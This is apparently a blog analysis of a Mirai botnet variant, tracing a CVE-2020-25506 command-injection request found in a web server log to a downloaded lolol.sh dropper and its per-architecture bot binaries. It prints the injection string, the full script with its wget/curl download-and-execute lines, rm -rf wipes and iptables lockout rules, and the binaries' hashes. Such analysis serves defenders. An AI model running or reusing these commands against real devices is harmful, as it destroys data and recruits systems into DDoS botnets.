The lolol.sh
script and the Mirai Botnet
The Mirai Botnet
Here is an analysis of one of the many variants of the
Mirai botnet worm.
It starts with a command injection attack on a web service,
followed by downloading and execution of a script,
followed by binaries for multiple architectures,
using the botnet's support infrastructure.
Mirai turns networked Linux devices into remotely controlled
bots that can be used in massive DDoS (or Distributed
Denial-of-Service) attacks.
A major
example
occurred on 21 October 2016, when the DNS provider
corporation Dyn was being flooded with traffic from
tens of millions of IP addresses.
If you overwhelm DNS service, names cannot be resolved to
IP addresses, and we humans can no longer use the Internet.
The botnet was made up largely of IoT or "Internet of Things"
devices — IP cameras, home routers, baby monitors,
digital video recorders, and printers.
Mirai's creators originally used their malware to
overwhelm Minecraft servers and companies offering
DDoS mitigation services.
They were using Mirai to run a protection racket.
In December 2017, the U.S. Justice Department
announced
that three men aged 20 to 21 years old had entered guilty
pleas in cybercrime cases related to Mirai and other botnets.
Mirai continues to evolve and spread.
Its source code is
available on GitHub.
CVE-2020-25506
This specific exploit variant is CVE-2020-25506, which works against the D-Link DNS-320 FW v2.06B01. It has a CVSS severity score of 9.8, almost the maximum score of 10.
Background and proof-of-concept exploit code are here.
As Palo Alto Networks reports, it's related to attacks against other network security devices including SonicWall SSL-VPN, Netgear ProSAFE Plus, the Netis WF2419 wireless router, and others.
Command Injection
I noticed this line in my
/var/www/logs/httpd-access.log
,
Nginx web server
log.
This is a command injection attack
aimed at Linux targets.
[... many lines deleted ...] 185.239.242.171 - - [09/Jun/2021:12:10:15 +0000] "POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`cd /tmp; wget http://37.46.150.102/lolol.sh; chmod 777 lolol.sh; sh lolol.sh` HTTP/1.1" 400 157 "-" - - [... many lines deleted ...]
The client was 185.239.242.171
, which resolves
back to scl-00172.mails--servers.org
.
That's in a block of addresses belonging to Serverion BV
in Brielle, Netherlands.
The requested resource was
/cgi-bin/system_mgr.cgi
,
with some added parameters.
My server has no such resource, no /cgi-bin
directory at all, and so the hostile client
would have been redirected to my 404 error page.
But, being a hostile client program and not a browser,
it would have ignored that and moved on to the next
IP address in its list, searching for a victim.
Three parameter=value
strings
were added to the URL, as you can see above.
Because the request used an HTTP POST request, those strings
would be passed to the system_mgr_cgi
script's
standard input.
Separating them out, we see that the first two were:
C1=ON
cmd=cgi_ntp_time
The third one was the initial attack:
f_ntp_server=`cd /tmp; wget http://37.46.150.102/lolol.sh; chmod 777 lolol.sh; sh lolol.sh`
That's a sequence of four Unix-family commands inside
backquotes.
It attempts to get a server-side process to do
command substitution, running that sequence
first to generate output, replacing the backquoted string
with the output before starting the
system_mgr.cgi
program.
The backquoted attack string would:
- Change to the
/tmp
directory. - Download a file with
wget
. - Turn on its execute permission with
chmod
. - Execute it with
sh
.
The attack is already exhibiting the common mixture
of sophistication and confusion.
The chmod
isn't needed, because the following step
runs the sh
shell with the downloaded file
as its parameter.
On some distributions (e.g., Oracle and RHEL),
/bin/sh
is a synbolic link pointing to
/bin/bash
.
On others (e.g., Mint, Raspian, and other Debian-derived
distros), it points to /bin/dash
.
The lolol.sh
Script
I, of course, ran the wget
manually and
retrieved the lolol.sh
script.
The script was hosted at 37.46.150.102,
which resolves to situku.e-conteri.com and is in another
address block belonging to Serverion BV.
$ wget http://37.46.150.102/lolol.sh
[...download output...]
$ cat lolol.sh
sleep 30
rm -rf /tmp
rm -rf /var/run
rm -rf /etc/cron.d
rm -rf /etc/cron.daily/
rm -rf /var/run
rm -rf /etc/init.d
sleep 10
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.x86; curl -O http://212.192.241.72/bins/dark.x86;cat dark.x86 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.mips; curl -O http://212.192.241.72/bins/dark.mips;cat dark.mips >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.mpsl; curl -O http://212.192.241.72/bins/dark.mpsl;cat dark.mpsl >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm4; curl -O http://212.192.241.72/bins/dark.arm4;cat dark.arm4 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm5; curl -O http://212.192.241.72/bins/dark.arm5;cat dark.arm5 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm6; curl -O http://212.192.241.72/bins/dark.arm6;cat dark.arm6 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm7; curl -O http://212.192.241.72/bins/dark.arm7;cat dark.arm7 >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.ppc; curl -O http://212.192.241.72/bins/dark.ppc;cat dark.ppc >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.m68k; curl -O http://212.192.241.72/bins/dark.m68k;cat dark.m68k >nginx;chmod +x *;./nginx
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.sh4; curl -O http://212.192.241.72/bins/dark.sh4;cat dark.sh4 >nginx;chmod +x *;./nginx
sleep 10
sudo su
cd /etc/
sleep 30
rm -rf /tmp
rm -rf /home
rm -rf /var/run
rm -rf /etc/cron.d
rm -rf /etc/cron.daily/
rm -rf /var/run
rm -rf /etc/init.d
rm -rf /var/log
sleep 10
cd /etc/
echo > /etc/cron.d/start
echo "*/10 * * * * root PATH="$PATH:/var/run/nginx"" > /etc/cron.d/start
echo > /etc/cron.daily/ng
echo "*/10 * * * * root PATH="$PATH:/var/run/nginx"" > /etc/cron.daily/ng
echo > /etc/cron.hourly/nng
echo "*/10 * * * * root PATH="$PATH:/etc/nginx"" > /etc/cron.hourly/nng
iptables -F
iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A INPUT -p tcp --dport 8080 -j DROP
iptables -A INPUT -p tcp --dport 9000 -j DROP
iptables -A INPUT -p tcp --dport 8089 -j DROP
iptables -A INPUT -p tcp --dport 7070 -j DROP
iptables -A INPUT -p tcp --dport 8081 -j DROP
iptables -A INPUT -p tcp --dport 9090 -j DROP
iptables -A INPUT -p tcp --dport 161 -j DROP
iptables -A INPUT -p tcp --dport 5555 -j DROP
iptables -A INPUT -p tcp --dport 9600 -j DROP
iptables -A INPUT -p tcp --dport 21412 -j DROP
That script:
- Sleeps for 30 seconds.
-
Recursively removes some system directories.
As a web server should not be running
as
root
, those removals should fail. - Sleep another 10 seconds.
-
For each of a list of 10 files:
-
Change into the first of these directories
that exist:
/tmp
,/var/run
,/mnt
,/root
,/etc/init.d
, and/
. -
Use
wget
to download the file. -
In case
wget
wasn't installed, try the same thing withcurl
. -
Copy the file to one named
nginx
. - Turn on the execute permission bits on everything in the current directory.
- Execute the newly-downloaded file. Since they are compiled for various architectures, only the appropriate one will run.
-
Change into the first of these directories
that exist:
- Sleep another 10 seconds.
-
Become the all-powerful
root
user withsudo su
. That could work on systems set up similarly to Debian, if the web server process was owned by a user who belongs to the appropriate group. -
Change to the
/etc
directory. - Sleep another 30 seconds.
-
Recursively remove more directories.
One of them is
/var/log
, so this would hide details of how the system was exploited. - Sleep another 10 seconds.
-
Change to the
/etc
directory again, even though it's already there. -
For three files where scheduled jobs are defined,
first echo an empty string into the file,
making it a zero-length file.
Then echo a long string into the file,
defining one scheduled job.
However...
-
The first four
echo
commands, trying to truncate and then create the files/etc/cron.d/start
and/etc/cron.daily/ng
, will fail. The directories/etc/cron.d
and/etc/cron.daily
no longer exist, as they were deleted a few steps before. -
The file
/etc/cron.hourly/nng
will be created, as its directory will still exist. However, the syntax of what is stored there is wrong. That's the syntax for thecrontab
file, while files in thecron.hourly
,cron.daily
,cron.weekly
, andcron.monthly
directories should simply be shell scripts to run at those times. Finally, while the misplacedcrontab
lines would run something asroot
every 10 minutes, there is nothing to run. It specifies an addition to the PATH environment variable, but there is no path. And, the script author is mixed up about quotes. - The newly downloaded binary will be executing, but this attempt to periodically start a new process if needed will fail. Power-cycling or otherwise rebooting the exploited system will end its botnet behavior.
-
The first four
-
Then, however, they become crafty.
The script uses
iptables
to first flush out all firewall rules. Then, to addDROP
rules to silently drop all packets arriving for 14 TCP ports, cutting the device off from any new inbound connections, and thus any investigation or repair.- 22 is SSH
- 23 is TELNET
- 80 is HTTP
- 161 is SNMP
- 443 is HTTPS
- 7070 is used by remote desktop and media streaming services
- 8080 and 8081 are commonly used alternative HTTP ports, and 8089 and 9000 likely are
- 9090 is used by Cockpit, a browser-based server administration package used by Red Hat and derivatives, plus Arch Linux
- 5555 is used for device-specific action by some manufacturers, and also by various forms of malware
- 9600 is used by some industrial programmable logic controllers
- 21412 is a mystery
The dark.*
Binaries
The lolol.sh
script tries to download ten
files from 212.192.241.72,
an IP address that belongs to Des Capital B.V.,
also in Brielle, Netherlands.
The files are dark.arm4
,
dark.arm5
,
dark.arm6
,
dark.arm7
,
dark.m68k
,
dark.mips
,
dark.mpsl
,
dark.ppc
,
dark.sh4
, and
dark.x86
.
Let's retrieve those and see what they are.
The first file in the list was not on the server,
but the other nine were.
I ran this on June 10; wget
sets the timestamp
of the downloaded file to its timestamp on the server.
This in its fourth day of operation:
$ for a in x86 mips mpsl arm4 arm5 arm6 arm7 ppc m68k sh4
> do
> wget http://212.192.241.72/bins/dark.$a;
> done
[...download output here...]
$ ls -l dark.*
-rw-rw-r-- 1 cromwell cromwell 30204 Jun 7 07:41 dark.arm5
-rw-rw-r-- 1 cromwell cromwell 38156 Jun 7 07:41 dark.arm6
-rw-rw-r-- 1 cromwell cromwell 59396 Jun 7 07:41 dark.arm7
-rw-rw-r-- 1 cromwell cromwell 127288 Jun 7 07:41 dark.m68k
-rw-rw-r-- 1 cromwell cromwell 35816 Jun 7 07:41 dark.mips
-rw-rw-r-- 1 cromwell cromwell 36992 Jun 7 07:41 dark.mpsl
-rw-rw-r-- 1 cromwell cromwell 34056 Jun 7 07:41 dark.ppc
-rw-rw-r-- 1 cromwell cromwell 116020 Jun 7 07:41 dark.sh4
-rw-rw-r-- 1 cromwell cromwell 34696 Jun 7 07:41 dark.x86
$ file dark*
dark.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
dark.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
dark.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
dark.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
dark.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
dark.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
dark.ppc: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, no section header
dark.sh4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
dark.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
$ openssl sha256 dark*
SHA256(dark.arm5)= 4b745539ee696697a465a86a8f9f70d89c35ddbeef0a0f3244e2d3fe65b43b01
SHA256(dark.arm6)= 03ba8eaacbff2ae82b2f834b47fc055127733116eb7ed6a95fc3cbfa243135ef
SHA256(dark.arm7)= 75612082a5eb445067fc4e8ba155b13d07786930e1f1528ded4228294ff84c0d
SHA256(dark.m68k)= c22292b2a99aa62865bdcb961be4ca9d4605c04359373af5122693265d7664fc
SHA256(dark.mips)= 8b028d9bba07127393e17147420348012000cf1b877d4e9544476ac7d23921af
SHA256(dark.mpsl)= 701e8e574a0dd36e0c28628721496a57a48f94e49a60b354520f7127da76b6f1
SHA256(dark.ppc)= e27d03679f4dc02cc32230c782ed6883af0086220817bf0d4578e5aa0ffc43c2
SHA256(dark.sh4)= 3be8bc02a96d2f4cd39b85b3d4d2eadb11558c580814c04785d83c12992a68d3
SHA256(dark.x86)= 483f452d2ccf44866dbb42a7cf5213a666eed57b6e78fca8db32861452f94cb2
I wonder, what else is on that web server?
The URL http://212/192.241.72/ returns a "Forbidden" error page, "You don't have permission to access /bins/ on this server."
OK, lets remove the "bins" and see what happens. Ah:
It looks like the system at 212.192.241.72 was installed from CentOS media, with the Apache web server installed and enabled. But then there was no further maintenance. The unattended system was taken over by the botnet operators.
Hackers run bots that prowl the Internet, trying to connect to TCP/80 and retrieve some form of "It worked!" testing page. Those are attractive targets for exploitation.